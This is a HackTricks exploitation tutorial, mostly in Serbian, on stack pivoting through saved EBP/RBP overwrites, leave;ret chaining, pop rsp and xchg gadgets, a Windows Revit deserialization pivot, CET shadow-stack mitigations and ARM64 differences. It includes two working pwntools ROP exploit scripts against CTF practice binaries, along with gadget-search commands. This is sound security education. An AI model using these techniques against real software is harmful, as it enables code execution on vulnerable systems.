Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ova tehnika iskorišćava mogućnost manipulacije Base Pointer (EBP/RBP) kako bi povezala izvršavanje više funkcija kroz pažljivu upotrebu pokazivača okvira (frame pointer) i sekvence instrukcija leave; ret.

Kao podsetnik, na x86/x86-64 leave je ekvivalentno:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

I pošto je sačuvani EBP/RBP in the stack pre sačuvanog EIP/RIP, moguće ga je kontrolisati kontrolišući stack.

Notes

  • Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
  • Neki kompajleri izostave frame pointer (see “EBP might not be used”). U tom slučaju, leave možda neće biti prisutan i ova tehnika neće raditi.

EBP2Ret

Ova tehnika je naročito korisna kada možete alter the saved EBP/RBP but have no direct way to change EIP/RIP. Iskorišćava ponašanje epiloga funkcije.

Ako tokom izvršavanja fvuln uspete da ubacite fake EBP na stack koji pokazuje na oblast u memoriji gde je locirana adresa vašeg shellcode/ROP chain-a (plus 8 bytes on amd64 / 4 bytes on x86 zbog pop), možete indirektno kontrolisati RIP. Kako se funkcija vraća, leave postavlja RSP na konstruisanu lokaciju, a naredni pop rbp smanjuje RSP, efektivno ga čineći da pokazuje na adresu koju je napadač tamo pohranio. Zatim ret koristi tu adresu.

Obratite pažnju da treba da znate 2 adrese: adresu na koju će ESP/RSP biti postavljen, i vrednost pohranjenu na toj adresi koju će ret konzumirati.

Exploit Construction

Prvo morate znati adresu na kojoj možete upisati proizvoljne podatke/adrese. RSP će pokazivati ovde i konzumiraće prvi ret.

Zatim treba da izaberete adresu koju ret koristi i koja će preneti izvršavanje. Možete koristiti:

  • Validnu ONE_GADGET adresu.
  • Adresu system() praćenu odgovarajućim return-om i argumentima (na x86: ret target = &system, zatim 4 junk bajta, pa &"/bin/sh").
  • Adresu jmp esp; gadget-a (ret2esp) praćenu inline shellcode-om.
  • ROP lanac postavljen u writable memoriji.

Zapamtite da ispred bilo koje od ovih adresa u kontrolisanoj oblasti mora postojati mesto za pop ebp/rbp iz leave (8B na amd64, 4B na x86). Možete iskoristiti te bajtove da postavite drugi fake EBP i zadržite kontrolu nakon što se prvi poziv vrati.

Off-By-One Exploit

Postoji varijanta koja se koristi kada možete samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja čuva adresu na koju skače sa ret mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da 1-bajtno prepisivanje može da je preusmeri. Obično se niski bajt (offset 0x00) povećava da bi se skočilo što dalje moguće unutar susedne page/poravnate regije.

Takođe je često koristiti RET sled u stacku i staviti pravi ROP chain na kraju kako bi bilo verovatnije da novi RSP pokazuje unutar sled-a i da se izvrši finalni ROP chain.

EBP Chaining

Postavljanjem kontrolisane adrese u sačuvani EBP slot na stacku i leave; ret gadget-a u EIP/RIP, moguće je premestiti ESP/RSP na adresu pod kontrolom napadača.

Sada je RSP kontrolisan, a naredna instrukcija je ret. Postavite u kontrolisanoj memoriji nešto poput:

  • &(next fake EBP) -> Loaded by pop ebp/rbp from leave.
  • &system() -> Called by ret.
  • &(leave;ret) -> After system ends, moves RSP to the next fake EBP and continues.
  • &("/bin/sh") -> Argument for system.

Na ovaj način je moguće chain-ovati nekoliko fake EBP-ova da biste kontrolisali tok programa.

Ovo je slično ret2lib, ali kompleksnije i korisno samo u rubnim slučajevima.

Štaviše, ovde imate example of a challenge koji koristi ovu tehniku sa stack leak da pozove winning funkciju. Ovo je finalni payload sa stranice:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaš chain poziva funkcije poput system, dodajte alignment gadget (npr. ret, ili sub rsp, 8 ; ret) pre poziva da biste održali poravnanje i izbegli movaps padove.

EBP might not be used

Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem frame-pointer-a, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga će svaki exploit koji se oslanja na kontrolu EBP/RBP propasti jer prologue/epilogue ne vraća vrednosti iz frame pointer-a.

  • Nije optimizovano / frame pointer je korišćen:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano / frame pointer izostavljen:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Na amd64 ćete često videti pop rbp ; ret umesto leave ; ret, ali ako je frame pointer potpuno izostavljen onda ne postoji rbp-bazirani epilog kroz koji se može pivotirati.

Drugi načini za kontrolu RSP

pop rsp gadget

Na ovoj stranici možete pronaći primer koji koristi ovu tehniku. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, postojao je pop rsp gadget i postojala je leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Pogledajte ret2esp tehniku ovde:

Ret2esp / Ret2reg

Brzo pronalaženje pivot gadgets

Koristite svoj omiljeni gadget finder da pretražite klasične pivot primitives:

  • leave ; ret u funkcijama ili u bibliotekama
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (ili add esp, <imm> ; ret na x86)

Primeri:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Robustna pivot strategija koja se koristi u mnogim CTFs/exploits:

  1. Koristite mali inicijalni overflow da pozovete read/recv u veliku writable oblast (npr. .bss, heap, ili mapped RW memory) i postavite tamo kompletan ROP chain.
  2. Vratite kontrolu u pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) da premestite RSP u tu oblast.
  3. Nastavite sa staged chain (npr., leak libc, pozovite mprotect, zatim read shellcode, pa skočite na njega).

Windows: Destructor-loop weird-machine pivots (Revit RFA studija slučaja)

Client-side parsers ponekad implementiraju destructor loops koje indirektno pozivaju function pointer izveden iz attacker-controlled object fields. Ako svaka iteracija nudi tačno jedan indirect call (a “one-gadget” machine), možete ovo konvertovati u pouzdan stack pivot i ROP entry.

Primećeno u Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Kreirani objekti tipa AString postavljaju pointer na attacker bytes na offset 0.
  • Destructor loop efektivno izvršava po jedan gadget po objektu:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Dva praktična pivota:

  • Windows 10 (32-bit heap addrs): neporavnati “monster gadget” koji sadrži 8B E0mov esp, eax, i na kraju ret, za pivotovanje sa call primitive na heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): koristite dva objekta da pokrenete constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (premesti originalni rax u rbp)
  • Gadget 2: leave ; ... ; ret (postaje mov rsp, rbp ; pop rbp ; ret), pivotujući u bafer prvog objekta, gde sledi konvencionalni ROP chain.

Saveti za Windows x64 nakon pivot-a:

  • Poštujte 0x20-bajtni shadow space i održavajte 16-bajtno poravnanje pre call lokacija. Često je zgodno postaviti literale iznad return address i koristiti gadget kao lea rcx, [rsp+0x20] ; call rax praćen pop rax ; ret da prosledite stack adrese bez korupcije kontrolnog toka.
  • Non-ASLR helper modules (ako su prisutni) obezbeđuju stabilne gadget poole i importe kao LoadLibraryW/GetProcAddress za dinamičko razrešavanje ciljeva poput ucrtbase!system.
  • Kreiranje nedostajućih gadgeta preko writable thunk-a: ako obećavajući sled završi call kroz writable function pointer (npr. DLL import thunk ili function pointer u .data), prepišite taj pointer benignim jedinčanim korakom kao pop rax ; ret. Sled će se tada ponašati kao da je završio sa ret (npr. mov rdx, rsi ; mov rcx, rdi ; ret), što je neprocenjivo za učitavanje Windows x64 arg registara bez razaranja drugih.

Za kompletnu konstrukciju chain-a i primere gadgeta pogledajte referencu ispod.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Savremeni x86 CPU-i i OS-i sve češće koriste CET Shadow Stack (SHSTK). Kada je SHSTK omogućen, ret upoređuje return address na normalnom stacku sa hardverski zaštićenim shadow stack-om; svako neslaganje pokreće Control-Protection fault i ubija proces. Zato će tehnike kao EBP2Ret/leave;ret-based pivots srušiti program čim se prvi ret izvrši sa pivotovanog stacka.

  • For background and deeper details see:

CET & Shadow Stack

  • Brze provere na Linux-u:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Beleške za labs/CTF:

  • Neke moderne distribucije aktiviraju SHSTK za CET-enabled binarije kada su prisutni podrška hardvera i glibc. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem kernel boot parametra nousershstk, ili selektivno omogućiti putem glibc tunables tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcijskim ciljevima.

  • JOP/COOP or SROP-based tehnike i dalje mogu biti izvodljive na nekim ciljevima, ali SHSTK specifično kvari ret-based pivote.

  • Napomena za Windows: Windows 10+ izlaže user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zasnovan na shadow stacks. CET-compatible procesi sprečavaju stack pivoting/ROP na ret; developeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi reference).

ARM64

U ARM64, prolog i epilogi funkcija ne čuvaju i ne vraćaju SP registar na stack. Štaviše, instrukcija RET ne vraća na adresu na koju pokazuje SP, već na adresu unutar x30.

Dakle, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka na stacku. I čak i ako uspete da kontrolišete SP, i dalje ćete morati da nađete način da kontrolišete x30 registar.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Način da se uradi nešto slično stack pivotingu u ARM64 bi bio da možete da kontrolišete SP (kontrolišući neki registar čija se vrednost dodeljuje u SP ili zato što iz nekog razloga SP uzima svoju adresu sa stacka i imamo overflow) i onda zloupotrebite epilog da učitate x30 registar sa kontrolisanog SP i RET na tu adresu.

Takođe, na sledećoj stranici možete videti ekvivalent Ret2esp in ARM64:

Ret2esp / Ret2reg

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks